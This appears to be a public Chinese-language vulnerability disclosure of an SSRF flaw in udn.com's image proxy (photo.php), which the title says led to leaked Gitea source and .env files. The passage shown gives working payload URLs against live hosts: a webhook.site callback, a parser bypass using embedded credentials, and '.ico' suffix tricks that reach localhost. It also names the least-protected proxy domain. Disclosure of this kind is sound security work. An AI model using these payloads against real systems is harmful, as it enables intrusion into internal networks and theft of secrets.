聯合報圖床功能 SSRF，導致大量 Gitea 原始碼 + .env 外洩

公開

Last Update : 2026/01/15

暫無資料

(本欄位資訊由系統根據漏洞類別自動產生，做為漏洞參考資料。)

recon 過程

在聯合報 (udn.com) 的多個 subdomain 都可以觀察到，圖片幾乎都是 https://pgw.udn.com.tw/gw/photo.php?u=http://uc.udn.com.tw/photo/2025/12/24/realtime/34030932.jpg&s=Y&x=0&y=14&sw=1158&sh=772&w=300 這種 URL
可以將上述網址簡化成 https://pgw.udn.com.tw/gw/photo.php?u=圖片實際網址
從軟體開發的角度來看這個功能，可以推測是 photo.php 內部的程式碼會去請求對應網址的圖片，存到 Cloud Storage，然後前面墊一層 CDN（畢竟新聞網，圖片是佔比很重的資源，所以一定要載入快，使用者體驗才會優）
透過其他 subdomain (vip.udn.com) 繼續觀察，發現 u 還有另一種格式 https://pgw.udn.com.tw/gw/photo.php?u=/photo/2025/12/23/realtime/34028118.jpg&s=Y&x=0&y=0&sw=4602&sh=3132&exp=3600&w=1200&nt=1
承上，單純 path 的格式，代表背後可能是 cloud-storage-bucket-name/${u} 來取得 Cloud Storage 對應的圖片
另外兩個 domain，https://rs-pgw.udn.com.tw 跟 https://udnpgw2026-proxy.udn.com.tw ，最終的 Origin Server 也都是一樣的，可以從路徑是 /gw/photo.php 來推斷

先嘗試最簡單的 SSRF：https://pgw.udn.com.tw/gw/photo.php?u=https://webhook.site/564c757b-aa00-46aa-b980-c8fd3d55c8b8 ，結果 webhook.site 沒收到請求，代表 photo.php 針對 hostname 有做一些過濾
嘗試用 "embed Basic Authentication credentials in a URL" 技巧來繞過 Flawed URL Parser：https://pgw.udn.com.tw/gw/photo.php?u=https://[email protected]/564c757b-aa00-46aa-b980-c8fd3d55c8b8 ，結果一次就 Bingo
從外網 IP，回頭反查 whois，得知這是 Google 的雲服務
在開始探測內網前，要先確保探測內網 http://xxx.xxx.xxx.xxx 的 response.body 可以被存到 GCS (Google Cloud Storage)，由於這是圖床服務，觀察到 photo.php "似乎"只會把圖片存進 GCS 並且回傳
承上，必須找出 photo.php "判斷資料為圖片" 的標準（Content-Type, File Extentsion, File Magic Bytes, PHP getimagesize...）
最初有發現 /file.svg 可以被快取，似乎只有檢查副檔名，但這樣會限制內網探測的可能性
後來發現用 ?whateverkey=.ico 或是 %23.ico 都可以 Bypass Flawed URL Parser（%23 是 # 的 URL Encode 版本）
根據以上探索，我們可以構造 https://pgw.udn.com.tw/gw/photo.php?u=https://vip.udn.com@localhost/?ext=.ico
實際內網探測時，發現 pgw.udn.com.tw 前面有 Cloudflare，rs-pgw.udn.com.tw 前面有 AkamaiGHost，以上兩者都有 WAF 的功能，但 udnpgw2026-proxy.udn.com.tw 防護比較弱，所以接下來都從這個 domain 來進行 SSRF 探測